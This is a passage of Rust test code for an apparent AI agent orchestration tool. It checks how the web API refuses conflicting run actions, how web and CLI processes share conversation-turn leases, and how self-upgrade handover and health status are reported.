17868 task: "20260901-000000-task".to_owned(),
17869 run: id.to_owned(),
17870 }];
17871 beat.updated_at = jiff::Timestamp::now();
17872 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17873 .expect("publish a heartbeat");
17874
17875 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17876 assert_eq!(res.status, 409);
17877 assert!(
17878 res.json()["error"]
17879 .as_str()
17880 .unwrap()
17881 .contains("live daemon"),
17882 "folding under a running agent would pull its worktree away"
17883 );
17884 }
17885
17886 #[tokio::test]
17887 async fn fold_merged_requires_a_pr_url() {
17888 let fx = Fixture::start().await;
17889 let runs = fx.runs();
17890 let id = "20260901-000000-nourl";
17891 write_run(&runs, id, RunStatus::Blocked);
17892
17893 let res = fx
17894 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
17895 .await;
17896 assert_eq!(res.status, 400, "{}", res.body);
17897
17898 let blank = fx
17899 .post(
17900 &format!("/api/runs/{id}/fold-merged"),
17901 Some(r#"{"pr_url":" "}"#),
17902 )
17903 .await;
17904 assert_eq!(blank.status, 400, "{}", blank.body);
17905 }
17906
17907 #[tokio::test]
17908 async fn fold_merged_is_404_for_an_unknown_run() {
17909 let fx = Fixture::start().await;
17910 let res = fx
17911 .post(
17912 "/api/runs/nosuchrun/fold-merged",
17913 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17914 )
17915 .await;
17916 assert_eq!(res.status, 404, "{}", res.body);
17917 }
17918
17919 #[tokio::test]
17920 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
17921 let fx = Fixture::start().await;
17922 let runs = fx.runs();
17923 let id = "20260901-000000-livemerge";
17924 write_run(&runs, id, RunStatus::Blocked);
17925
17926 let mut beat = crate::daemon::Status::new();
17927 beat.current = vec![crate::daemon::Current {
17928 task: "20260901-000000-task".to_owned(),
17929 run: id.to_owned(),
17930 }];
17931 beat.updated_at = jiff::Timestamp::now();
17932 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17933 .expect("publish a heartbeat");
17934
17935 let res = fx
17936 .post(
17937 &format!("/api/runs/{id}/fold-merged"),
17938 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17939 )
17940 .await;
17941 assert_eq!(res.status, 409, "{}", res.body);
17942 assert!(
17943 res.json()["error"]
17944 .as_str()
17945 .unwrap()
17946 .contains("live daemon"),
17947 "correcting a run's merge underneath a running agent would race \
17948 whatever it is doing to the same `status`/`merge` fields"
17949 );
17950 }
17951
17952 #[tokio::test]
17957 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
17958 let fx = Fixture::start().await;
17959 let runs = fx.runs();
17960 let id = "20260901-000000-unconfirmed";
17961 write_run(&runs, id, RunStatus::Blocked);
17962
17963 let res = fx
17964 .post(
17965 &format!("/api/runs/{id}/fold-merged"),
17966 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17967 )
17968 .await;
17969 assert_eq!(res.status, 400, "{}", res.body);
17970 assert_eq!(
17971 read_run(&runs, id).unwrap().status,
17972 RunStatus::Blocked,
17973 "a pull request that could not be confirmed merged must leave \
17974 the run exactly where it was"
17975 );
17976 }
17977
17978 #[tokio::test]
17979 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
17980 let fx = Fixture::start().await;
17981 let runs = fx.runs();
17982
17983 for (status, word) in [
17989 (RunStatus::Merged, "merged"),
17990 (RunStatus::Ready, "ready"),
17991 (RunStatus::Failed, "failed"),
17992 ] {
17993 let id = format!("20260901-000000-{}", &word[..4]);
17994 write_run(&runs, &id, status);
17995 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
17996 assert_eq!(res.status, 409, "{word} must not be resumable");
17997 let err = res.json()["error"].as_str().unwrap().to_owned();
17998 assert!(err.contains(word), "the refusal names the status: {err}");
17999 }
18000
18001 let mid = "20260901-000000-midf";
18006 write_run(&runs, mid, RunStatus::Reviewing);
18007 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
18008 assert_eq!(res.status, 202, "an interrupted run is resumable");
18009 }
18010
18011 #[tokio::test]
18012 async fn resume_is_refused_while_the_loop_is_running() {
18013 let fx = Fixture::start().await;
18014 let runs = fx.runs();
18015 let stalled = "20260901-000000-stal";
18016 write_run(&runs, stalled, RunStatus::Stalled);
18017
18018 let mut beat = crate::daemon::Status::new();
18022 beat.current = vec![crate::daemon::Current {
18023 task: "20260901-000000-task".to_owned(),
18024 run: "20260901-000000-othr".to_owned(),
18025 }];
18026 beat.updated_at = jiff::Timestamp::now();
18027 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18028 .expect("publish a heartbeat");
18029
18030 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
18031 assert_eq!(res.status, 409);
18032 let err = res.json()["error"].as_str().unwrap().to_owned();
18033 assert!(err.contains("othr"), "it names what the loop is on: {err}");
18034 assert!(err.contains("stop it first"), "{err}");
18035 }
18036
18037 #[test]
18038 fn a_run_cannot_be_resumed_twice_at_once() {
18039 let home = TempDir::new().expect("temp home");
18040 let ui = Ui::new(
18041 Queue::at(home.path().join("queue")),
18042 Questions::at(home.path().join("questions")),
18043 Talks::at(home.path().join("talks")),
18044 home.path().join("runs"),
18045 home.path().to_path_buf(),
18046 PathBuf::from("/repo"),
18047 )
18048 .with_worktrees_root(home.path().join("wt"));
18049 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
18050 let again = ui.begin_resume("20260901-000000-once");
18051 assert!(again.is_err(), "a second tap must not start a second graph");
18052 drop(first);
18053 assert!(
18054 ui.begin_resume("20260901-000000-once").is_ok(),
18055 "and the claim is released when the attempt ends"
18056 );
18057 }
18058
18059 #[test]
18060 fn talk_thinking_tracks_only_its_held_turn_claim() {
18061 let home = TempDir::new().expect("temp home");
18062 let ui = Ui::new(
18063 Queue::at(home.path().join("queue")),
18064 Questions::at(home.path().join("questions")),
18065 Talks::at(home.path().join("talks")),
18066 home.path().join("runs"),
18067 home.path().to_path_buf(),
18068 PathBuf::from("/repo"),
18069 )
18070 .with_worktrees_root(home.path().join("wt"));
18071 let id = "20260901-000000-once";
18072
18073 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
18074 let turn = ui.begin_talk_turn(id).expect("claim turn");
18075 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
18076 assert!(
18077 !ui.is_thinking("20260901-000000-other"),
18078 "one talk's turn does not make another talk busy"
18079 );
18080 drop(turn);
18081 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
18082 }
18083
18084 #[test]
18085 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
18086 let home = TempDir::new().expect("temp home");
18087 let talks = Talks::at(home.path().join("talks"));
18088 let ui = Ui::new(
18089 Queue::at(home.path().join("queue")),
18090 Questions::at(home.path().join("questions")),
18091 talks.clone(),
18092 home.path().join("runs"),
18093 home.path().to_path_buf(),
18094 PathBuf::from("/repo"),
18095 )
18096 .with_worktrees_root(home.path().join("wt"));
18097 let id = "20260901-000000-cross";
18098
18099 let other = Talks::at(home.path().join("talks"))
18100 .claim_turn(id)
18101 .expect("claim")
18102 .expect("the other process wins");
18103 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
18104 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
18105 assert!(
18106 matches!(
18107 ui.begin_talk_turn_unless_pending(id).expect("start"),
18108 TalkTurnStart::Foreign
18109 ),
18110 "a foreign holder is refused, not queued behind"
18111 );
18112 assert!(
18113 !ui.talk_turns.lock().unwrap().live.contains(id),
18114 "a refused claim leaves no in-process entry behind"
18115 );
18116 drop(other);
18117 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
18118 assert!(talks.turn_held(id), "the web turn holds the lease");
18119 drop(turn);
18120 assert!(
18121 !talks.turn_held(id),
18122 "dropping the guard releases the lease"
18123 );
18124 }
18125
18126 fn consult_question(ui: &Ui) -> Question {
18127 let mut q = Question::new(
18128 "20260901-000000-consult".to_owned(),
18129 "implement".to_owned(),
18130 "impl-A".to_owned(),
18131 "Which backend?".to_owned(),
18132 String::new(),
18133 vec!["SQLite".to_owned(), "Redis".to_owned()],
18134 );
18135 ui.questions.put(&mut q).expect("question");
18136 q
18137 }
18138
18139 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
18140 (
18141 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
18142 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
18143 )
18144 }
18145
18146 #[tokio::test]
18147 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
18148 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18149 let q = consult_question(&ui);
18150 let talk = ui.talks.get(&id).expect("talk");
18151 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
18152 let before = consult_snapshot(&ui, &q, &id);
18153 let cli_talks = Talks::at(ui.home.join("talks"));
18154 assert_eq!(
18155 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
18156 .await
18157 .expect("CLI starter"),
18158 crate::consult::Started::Busy
18159 );
18160 assert_eq!(consult_snapshot(&ui, &q, &id), before);
18161 assert!(ui.is_thinking(&id));
18162 drop(guard);
18163 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
18164 }
18165
18166 #[tokio::test]
18167 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
18168 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18169 let q = consult_question(&ui);
18170 let talk = ui.talks.get(&id).expect("talk");
18171 let started = tmp.path().join("started");
18172 let release = tmp.path().join("release");
18173 let script = tmp.path().join("consult-agent.sh");
18174 std::fs::write(
18175 &script,
18176 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
18177 )
18178 .expect("script");
18179 let mut cfg = stub_config();
18180 cfg.agents[0].id = "mock".to_owned();
18181 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
18182 cfg.agents[0].env = std::collections::BTreeMap::from([
18183 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
18184 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
18185 ]);
18186 let questions = ui.questions.clone();
18187 let cli_talks = Talks::at(ui.home.join("talks"));
18188 let cli_q = q.clone();
18189 let turn = tokio::spawn(async move {
18190 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
18191 });
18192 let ready = tokio::time::timeout(Duration::from_secs(30), async {
18193 while !started.exists() {
18194 tokio::time::sleep(Duration::from_millis(10)).await;
18195 }
18196 })
18197 .await;
18198 let refusal = if ready.is_ok() {
18201 let before = consult_snapshot(&ui, &q, &id);
18202 let result = talk_say(
18203 State(Arc::clone(&ui)),
18204 Path(id.clone()),
18205 Ok(Json(NewTalkTurn {
18206 reply_to: None,
18207 text: "another message".to_owned(),
18208 attachments: Vec::new(),
18209 })),
18210 )
18211 .await;
18212 Some((result, before, consult_snapshot(&ui, &q, &id)))
18213 } else {
18214 None
18215 };
18216 std::fs::write(&release, "").expect("release agent");
18217 let done = turn.await.expect("join CLI turn");
18218 ready.expect("agent started before deadline");
18219 let (result, before, after) = refusal.expect("web request");
18220 let error = result.expect_err("web must refuse the CLI's turn");
18221 assert_eq!(error.status, StatusCode::CONFLICT);
18222 assert!(error.message.contains("a turn is already running"));
18223 assert_eq!(
18224 after, before,
18225 "refusal preserves question, draft and history"
18226 );
18227 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
18228 let guard = ui
18229 .begin_talk_turn(&id)
18230 .expect("web claim")
18231 .expect("free again");
18232 drop(guard);
18233 }
18234
18235 #[test]
18236 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
18237 let home = TempDir::new().expect("temp home");
18238 let talks = Talks::at(home.path().join("talks"));
18239 let ui = Ui::new(
18240 Queue::at(home.path().join("queue")),
18241 Questions::at(home.path().join("questions")),
18242 talks.clone(),
18243 home.path().join("runs"),
18244 home.path().to_path_buf(),
18245 PathBuf::from("/repo"),
18246 )
18247 .with_worktrees_root(home.path().join("wt"));
18248 let id = "20260901-000000-order";
18249 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18250 let slots = ui.talk_turns.lock().unwrap();
18252 let dropper = std::thread::spawn(move || drop(turn));
18253 let start = std::time::Instant::now();
18254 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
18255 std::thread::sleep(Duration::from_millis(5));
18256 }
18257 assert!(!talks.turn_held(id), "the lease is released first");
18258 assert!(slots.live.contains(id), "the slot is still held meanwhile");
18259 drop(slots);
18260 dropper.join().expect("join");
18261 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
18262 }
18263
18264 #[tokio::test]
18265 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
18266 let fx = Fixture::start().await;
18267 let mut beat = crate::daemon::Status::new();
18271 beat.pid = 4321;
18272 beat.updated_at = jiff::Timestamp::now();
18273 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18274 .expect("publish a heartbeat");
18275
18276 let res = fx.post("/api/upgrade", None).await;
18277 assert_eq!(res.status, 409);
18278 let err = res.json()["error"].as_str().unwrap().to_owned();
18279 assert!(err.contains("4321"), "the refusal names the owner: {err}");
18280 assert!(err.contains("old one against the same queue"), "{err}");
18281 }
18282
18283 #[test]
18290 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
18291 assert!(!should_spawn_recheck(&crate::config::Update {
18292 mode: UpdateMode::Off,
18293 interval: None,
18294 }));
18295
18296 unsafe {
18299 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18300 }
18301 let killed = should_spawn_recheck(&crate::config::Update {
18302 mode: UpdateMode::Notify,
18303 interval: None,
18304 });
18305 unsafe {
18306 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18307 }
18308 assert!(
18309 !killed,
18310 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
18311 one-time startup check"
18312 );
18313
18314 assert!(should_spawn_recheck(&crate::config::Update {
18315 mode: UpdateMode::Notify,
18316 interval: None,
18317 }));
18318 }
18319
18320 #[test]
18326 fn recheck_poll_period_tracks_a_short_configured_interval() {
18327 let short = crate::config::Update {
18328 mode: UpdateMode::Notify,
18329 interval: Some("1m".to_owned()),
18330 };
18331 let period = recheck_poll_period(&short);
18332 assert!(
18333 period <= Duration::from_secs(30),
18334 "a one-minute interval must wake the task far sooner than the \
18335 default ceiling, or the deck would not notice within the \
18336 interval the operator configured: got {period:?}"
18337 );
18338
18339 let default = crate::config::Update {
18340 mode: UpdateMode::Notify,
18341 interval: None,
18342 };
18343 assert_eq!(
18344 recheck_poll_period(&default),
18345 UPDATE_RECHECK_POLL_MAX,
18346 "the default day-long interval should poll at the (capped) \
18347 ceiling rather than needlessly often"
18348 );
18349 }
18350
18351 #[test]
18359 fn recheck_skips_the_network_before_the_interval_elapses() {
18360 let dir = TempDir::new().expect("temp dir");
18361 let path = dir.path().join("state.json");
18362 let state = kaishin::UpdateCheckState {
18363 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
18364 last_known_latest: None,
18365 last_known_url: None,
18366 };
18367 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
18368
18369 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
18370 assert!(
18371 !update_recheck_due(&checker, None),
18372 "a check made moments ago must not be repeated before the \
18373 configured interval elapses"
18374 );
18375 }
18376
18377 #[test]
18383 fn recheck_defers_to_an_upgrade_already_in_flight() {
18384 let dir = TempDir::new().expect("temp dir");
18385 let path = dir.path().join("state.json");
18386 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
18387 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
18388
18389 assert!(
18390 !update_recheck_due(&checker, Some(&progress)),
18391 "a recheck must not run while an upgrade this deck started is \
18392 still moving"
18393 );
18394 }
18395
18396 #[tokio::test]
18397 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
18398 unsafe {
18410 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18411 }
18412 let fx = Fixture::start().await;
18413 let res = fx.post("/api/upgrade", None).await;
18414 unsafe {
18415 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18416 }
18417 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
18418 let body = res.json();
18419 assert!(body["to"].is_null(), "there was no release to move to");
18420 assert!(body["parked"].is_null(), "and nothing was parked");
18421 assert!(
18422 body["detail"]
18423 .as_str()
18424 .unwrap()
18425 .contains("disabled by MAGI_NO_AUTOUPDATE"),
18426 "{body:?}"
18427 );
18428 }
18429
18430 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
18431 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
18432 p.stage = stage;
18433 p
18434 }
18435
18436 #[test]
18437 fn busy_stages_match_the_ui_set() {
18438 use crate::updater::Stage;
18439 assert!(APP_JS.contains(
18440 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
18441 ));
18442 for s in [
18443 Stage::Downloading,
18444 Stage::Replaced,
18445 Stage::Parking,
18446 Stage::Restarting,
18447 ] {
18448 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
18449 }
18450 for s in [Stage::Done, Stage::Failed] {
18451 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
18452 }
18453 assert!(upgrade_in_motion(None).is_none());
18454 }
18455
18456 #[tokio::test]
18457 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
18458 use crate::updater::Stage;
18459 for stage in [
18460 Stage::Downloading,
18461 Stage::Replaced,
18462 Stage::Parking,
18463 Stage::Restarting,
18464 ] {
18465 let fx = Fixture::start().await;
18466 let seeded = seeded_progress(stage);
18467 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
18468 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
18469 .expect("read");
18470
18471 let res = fx.post("/api/upgrade", None).await;
18472 assert_eq!(res.status, 409, "{stage:?}");
18473 let err = res.json()["error"].as_str().unwrap().to_owned();
18474 assert!(err.contains("already in progress"), "{err}");
18475 assert!(err.contains(stage.as_str()), "{err}");
18476
18477 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
18478 .expect("read");
18479 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
18480 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
18481 .unwrap_or_default();
18482 assert!(!log.contains("signalling HANDOVER"), "{log}");
18483 }
18484 }
18485
18486 #[tokio::test]
18487 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
18488 use crate::updater::Stage;
18489 let repo = TempDir::new().expect("repo dir");
18490 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
18491 .expect("write magi.toml");
18492 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
18493 for stage in [Stage::Done, Stage::Failed] {
18494 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
18495 let res = fx.post("/api/upgrade", None).await;
18496 assert_eq!(res.status, 200, "{stage:?}");
18497 }
18498 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
18500 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
18501 }
18502
18503 #[tokio::test]
18504 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
18505 let repo = TempDir::new().expect("repo dir");
18521 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
18522 .expect("write magi.toml");
18523 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
18524
18525 let res = fx.post("/api/upgrade", None).await;
18531 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
18532 let body = res.json();
18533 assert!(body["to"].is_null(), "there was no release to move to");
18534 assert!(body["parked"].is_null(), "and nothing was parked");
18535 assert!(
18536 body["detail"]
18537 .as_str()
18538 .unwrap()
18539 .contains("nothing restarted"),
18540 "{body:?}"
18541 );
18542 }
18543
18544 #[tokio::test]
18545 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
18546 let repo = TempDir::new().expect("repo dir");
18551 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
18552 .expect("write magi.toml");
18553 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
18554
18555 let health = fx.get("/api/health").await.json();
18556 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
18557 assert_eq!(
18558 health["update"]["available"], false,
18559 "checking is off, which reads as \"unknown\", not \"none\""
18560 );
18561 assert!(health["update"]["to"].is_null());
18562 assert!(
18563 health["upgrade"].is_null(),
18564 "nothing has ever asked this deck to upgrade"
18565 );
18566 }
18567
18568 #[tokio::test]
18569 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
18570 let fx = Fixture::start().await;
18571 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
18572
18573 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18574 progress.parked_run = Some("20260905-000000-cd51".to_owned());
18575 progress.advance(crate::updater::Stage::Parking);
18576 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18577
18578 let health = fx.get("/api/health").await.json();
18579 assert_eq!(health["upgrade"]["stage"], "parking");
18580 assert_eq!(health["upgrade"]["from"], "0.5.1");
18581 assert_eq!(health["upgrade"]["to"], "0.5.2");
18582 let waiting_on = health["upgrade"]["waiting_on"]
18583 .as_str()
18584 .expect("waiting_on is set while parking a known run");
18585 assert!(waiting_on.contains("cd51"), "{waiting_on}");
18586 assert!(waiting_on.contains("implementing"), "{waiting_on}");
18587 }
18588
18589 #[tokio::test]
18590 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
18591 let fx = Fixture::start().await;
18592 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18593 progress.advance(crate::updater::Stage::Done);
18594 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18595
18596 let health = fx.get("/api/health").await.json();
18597 assert_eq!(health["upgrade"]["stage"], "done");
18598 assert!(
18599 health["upgrade"]["waiting_on"].is_null(),
18600 "nothing to wait on once it is done"
18601 );
18602 }
18603
18604 #[tokio::test]
18605 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
18606 let home = TempDir::new().expect("temp home");
18607 let runs = home.path().join("runs");
18608 std::fs::create_dir_all(&runs).expect("runs dir");
18609 let ui = Ui::new(
18610 Queue::at(home.path().join("queue")),
18611 Questions::at(home.path().join("questions")),
18612 Talks::at(home.path().join("talks")),
18613 runs,
18614 home.path().to_path_buf(),
18615 PathBuf::from("/repo/magi"),
18616 )
18617 .with_launch(launch_idle);
18618 let looping = ui.looping();
18619 let turns = ui.turns();
18620 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18621 .await
18622 .expect("bind loopback");
18623 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18624
18625 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18626 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18627
18628 hand_over(
18629 home.path(),
18630 &looping,
18631 &turns,
18632 &|_: &[String]| Duration::from_secs(5),
18633 served,
18634 |_| Ok(1),
18635 )
18636 .await
18637 .expect("hand over");
18638
18639 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
18640 assert_eq!(
18641 after.stage,
18642 crate::updater::Stage::Restarting,
18643 "hand_over owns the record through parking and up to restarting; \
18644 the successor is what finishes it"
18645 );
18646 }
18647
18648 #[tokio::test]
18651 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
18652 for fail in [false, true] {
18653 let home = TempDir::new().expect("temp home");
18654 let ui = idle_ui(&home);
18655 let looping = ui.looping();
18656 let turns = ui.turns();
18657 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18658 .await
18659 .expect("bind loopback");
18660 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18661 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18662 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18663
18664 let calls = std::sync::atomic::AtomicUsize::new(0);
18665 let outcome = hand_over(
18666 home.path(),
18667 &looping,
18668 &turns,
18669 &|_: &[String]| Duration::from_secs(5),
18670 served,
18671 |_| {
18672 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18673 if fail {
18674 anyhow::bail!("no exec")
18675 } else {
18676 Ok(4242)
18677 }
18678 },
18679 )
18680 .await;
18681 assert_eq!(outcome.is_err(), fail);
18682 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18683
18684 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
18685 .expect("upgrade.log is written under the home");
18686 for step in [
18687 "entered",
18688 "finish_loop",
18689 "listener released",
18690 "starting the successor",
18691 ] {
18692 assert!(log.contains(step), "missing `{step}` in:\n{log}");
18693 }
18694 assert!(
18695 log.contains(if fail { "did not start" } else { "pid 4242" }),
18696 "{log}"
18697 );
18698 }
18699 }
18700
18701 #[tokio::test]
18704 async fn the_handover_signal_wakes_one_waiter_once() {
18705 let signal = Notify::new();
18706 signal.notify_one();
18708 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
18709 .await
18710 .expect("an early signal is still seen");
18711 assert!(
18713 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
18714 .await
18715 .is_err(),
18716 "a consumed signal must not wake a second time"
18717 );
18718 let signal = std::sync::Arc::new(signal);
18720 let waiter = tokio::spawn({
18721 let signal = std::sync::Arc::clone(&signal);
18722 async move { wait_for_handover(&signal).await }
18723 });
18724 tokio::time::sleep(Duration::from_millis(20)).await;
18725 assert!(!waiter.is_finished(), "nothing was signalled yet");
18726 signal.notify_one();
18727 tokio::time::timeout(Duration::from_secs(5), waiter)
18728 .await
18729 .expect("a late signal wakes the waiter")
18730 .expect("join");
18731 }
18732
18733 #[tokio::test]
18734 async fn health_says_how_long_a_handover_has_been_stuck() {
18735 let fx = Fixture::start().await;
18736 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18737 progress.advance(crate::updater::Stage::Replaced);
18738 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
18739 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18740
18741 let health = fx.get("/api/health").await.json();
18742 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
18743 assert!(stuck >= 600, "{stuck}");
18744 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
18745 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
18746 }
18747
18748 #[tokio::test]
18749 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
18750 let home = tempfile::tempdir().expect("temp home");
18751 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18752 progress.advance(crate::updater::Stage::Parking);
18753 crate::updater::write_progress(home.path(), &progress).expect("seed");
18754 let mut again = progress.clone();
18756 again.advance(crate::updater::Stage::Replaced);
18757 crate::updater::write_progress(home.path(), &again).expect("replaced");
18758 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18759 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
18760 let after = crate::updater::read_progress(home.path()).expect("record");
18761 assert_eq!(after.stage, crate::updater::Stage::Parking);
18762 }
18763
18764 #[tokio::test]
18765 async fn health_does_not_call_a_live_parking_wait_stuck() {
18766 let fx = Fixture::start().await;
18767 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18768 progress.parked_run = Some("20260905-000000-cd51".to_owned());
18769 progress.advance(crate::updater::Stage::Parking);
18770 let hours = Duration::from_secs(3 * 3600);
18771 progress.started_at = Timestamp::now() - hours;
18772 progress.updated_at = Timestamp::now() - hours;
18773 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18774 let _lease = crate::updater::LeaseGuard::enter(
18775 fx.home.path(),
18776 Some("20260905-000000-cd51".to_owned()),
18777 );
18778
18779 let health = fx.get("/api/health").await.json();
18780 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
18781 assert!(health["upgrade"]["stuck_kind"].is_null());
18782 assert_eq!(health["upgrade"]["handover_alive"], true);
18783 let waiting_on = health["upgrade"]["waiting_on"]
18784 .as_str()
18785 .expect("waiting_on");
18786 assert!(waiting_on.contains("cd51"), "{waiting_on}");
18787 }
18788
18789 fn idle_ui(home: &TempDir) -> Ui {
18790 let runs = home.path().join("runs");
18791 std::fs::create_dir_all(&runs).expect("runs dir");
18792 Ui::new(
18793 Queue::at(home.path().join("queue")),
18794 Questions::at(home.path().join("questions")),
18795 Talks::at(home.path().join("talks")),
18796 runs,
18797 home.path().to_path_buf(),
18798 PathBuf::from("/repo/magi"),
18799 )
18800 .with_launch(launch_idle)
18801 }
18802
18803 async fn park_fixture(
18804 home: &TempDir,
18805 ) -> (
18806 Ui,
18807 Arc<Mutex<LoopState>>,
18808 Arc<Mutex<TalkTurns>>,
18809 tokio::task::JoinHandle<std::io::Result<()>>,
18810 ) {
18811 let ui = idle_ui(home);
18812 let looping = ui.looping();
18813 let turns = ui.turns();
